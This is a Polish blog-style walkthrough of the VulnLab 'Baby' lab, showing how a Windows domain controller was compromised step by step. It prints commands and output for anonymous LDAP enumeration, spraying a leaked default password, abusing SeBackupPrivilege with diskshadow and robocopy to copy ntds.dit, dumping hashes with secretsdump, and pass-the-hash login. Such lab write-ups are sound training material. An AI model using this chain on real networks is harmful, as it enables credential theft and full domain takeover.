Make ldap great again
Piątek wieczór, siadam do komputera, łączę się z VPNem i szukuje sobie coś do picia. Środowisko jest już gotowe - jeden adres IP. Łyk harbaty i przystępuje do skanowania, zastanawiając się już za wczasu co mnie teraz czeka?
…
Kontroler domeny, hm kto by pomyślał.
Na samym początku postanowiłem zweryfikować, czy mam dostęp do danych przechowywanych w systemie LDAP:
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB]
└─$ ldapsearch -H ldap://baby.vl -b dc=baby,dc=vl "(objectclass=*)" -x
[...]
# baby.vl
dn: DC=baby,DC=vl
# Administrator, Users, baby.vl
dn: CN=Administrator,CN=Users,DC=baby,DC=vl
# Guest, Users, baby.vl
dn: CN=Guest,CN=Users,DC=baby,DC=vl
objectClass: top
objectClass: person
...
BINGO 💎
Zaczyna się ciekawie. Skoro mam na samym początku dostęp do LDAPa to mogę już na samym starcie bardzo dużo dowiedzieć się o moim celu. Może znajde jakieś ciekawe atrybuty, hasła a może nic ciekawego oprócz nazw użytkowników nie znajdę ?
W celu ułatwienia sobie pracy postanowiłem zapisać output z LDAP do pliku. Im mniej ruchu tym lepiej:
ldapsearch -H ldap://baby.vl -b dc=baby,dc=vl "(objectclass=*)" -x | tee DANE_LDAP
Skoro mam już co chciałem, mogę rozpocząć analizę. Na pierwszy ogień idą opisy użytkowników.
grep "sAMAccountName\|description" DANE_LDAP | less
Prosta enumeracja poskutkowała znalezieniem użytkownika z ciekawym description:
description: Set initial password to BabyStart123!
Czyżby to było takie proste ?
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ evil-winrm -u baby.vl\\Teresa.Bell -p 'BabyStart123!' -i baby.vl
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Niestety hasło to nie działa dla tego użytkownika, ale przynajmniej mamy już coś sensownego. Hmm, kolejną rzeczą, którą mogę zrobić to reverse brute force. Może być tak, że to jest domyślne hasło przypisywane nowym użytkownikom przez administratora. Warto to sprawdzić.
Do wykonania tego ataku użyłem narzędzia crackmapexec:
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ crackmapexec smb baby.vl -u USERS -p 'BabyStart123!'
[...]
SMB baby.vl 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
Atak siłowy zakończył się niejako sukcesem 🎉. Hasło jest prawidłowe, ale musi zostać zmienione.
Używając narzędzia smbpasswd mogę zmienić hasło użytkownikowi z systemu linux niczym ninja 🐱👤
┌──(root㉿kali)-[/home/…/Desktop/Kali/VULNLAB/Baby]
└─# smbpasswd -U Caroline.Robinson -r baby.vl
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.Robinson on baby.vl.
Initial access 🏴⌗
Hasło zostało zmienione pomyślnie i dzięki temu mogę już zalogować się na system. Jest i nasz mały sukces
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cat user.txt
🍒
Enumeracja 🔍⌗
Dobra mamy shella jako user, ale czeka na nas większa nagroda do zebrania, Administrator domeny. W tym celu zacząłem wykonywać enumerację i pierwsze od czego zacząłem to analiza specjalnych uprawnień przypisanych do użytkownika:
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Czy ja dobrze widzę ?? SeBackupPrivilege to jest to co chciałem tu zobaczyć 💪
Z tym uprawnieniem przejmę ten kontroler 👾
Teraz korzystając z komendy reg zdumpuje sobie parę przydatnych rzeczy:
*Evil-WinRM* PS C:\Users\Caroline.Robinson> reg save hklm\sam .\sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\Caroline.Robinson> reg save hklm\system .\system
The operation completed successfully.
*Evil-WinRM* PS C:\Users\Caroline.Robinson> download sam
Info: Downloading C:\Users\Caroline.Robinson\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\Users\Caroline.Robinson> download system
Info: Downloading C:\Users\Caroline.Robinson\system to system
Posiadając SAM oraz SYSTEM mogę wykonać lokalny dump haszy. Nie ma na co czekać, czas zdumpować hasze i władować się na AD:
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jest i hasz lokalnego admina, wystarczy połączyć się tylko po winrm i jestem w domu:
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ evil-winrm -u Administrator -H 8d992faed38128ae85e95fa35868bb43 -i baby.vl
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
A to ci numer. Konto lokalnego admina musi być zablokowane gdyż nie udało się na niego zalogować.
Dobra skoro tak z mną grają to ja i również zagram z nimi. Mając powłokę jako Caroline.Robinson wykonam shadow copy i skopiuje sobie NTDS.DIT święty grall każdej domeny 😏.
W tym celu utworzyłem plik zawierające instrukcje do wykonania shadow copy:
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ cat funky_word_hacker.txt
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
Przeniosłem skrypt na dysk i uruchomiłem:
*Evil-WinRM* PS C:\Users\Caroline.Robinson> diskshadow /s funky_word_hacker.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 8/21/2023 10:40:05 PM
-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create
Zadziałało jak złoto No to robimy kopie ntds 😈:
*Evil-WinRM* PS C:\Users\Caroline.Robinson> robocopy /b E:\Windows\ntds . ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Monday, August 21, 2023 10:43:38 PM
Source : E:\Windows\ntds\
Dest : C:\Users\Caroline.Robinson\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 E:\Windows\ntds\
New File 16.0 m ntds.dit
0.0%
0.3%
0.7%
[...]
Leci kopia :>, miło się na to patrzy. Lekki uśmiech i dumpujemy hasze 😏:
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ impacket-secretsdump -ntds ./ntds.dit -system system LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ./ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Caroline.Robinson:1111:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
No i boom 💣, mamy hasze wszystkich użytkowników. Piękny widok.
P0wn Th4 sYstema!⌗
Skoro mam już wszystkie hasze, to już czas na zalogowanie się przy użyciu danych domain admina:
┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ evil-winrm -u administrator -H '<REDACTED>' -i baby.vl
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
I’m in 🕴, chciało by się rzec:
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/21/2021 3:22 PM 36 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
🎆🎆🎆
Mamy root.txt, mamy hasze z ntds czego chcieć więcej i pomyśleć, że to wszystko przez to, że ktoś skonfigurował dostęp do LDAP w niewłaściwy sposób oraz, że zostawił nam dobrego hinta w postaci hasła użytkownika.
See you next time ✌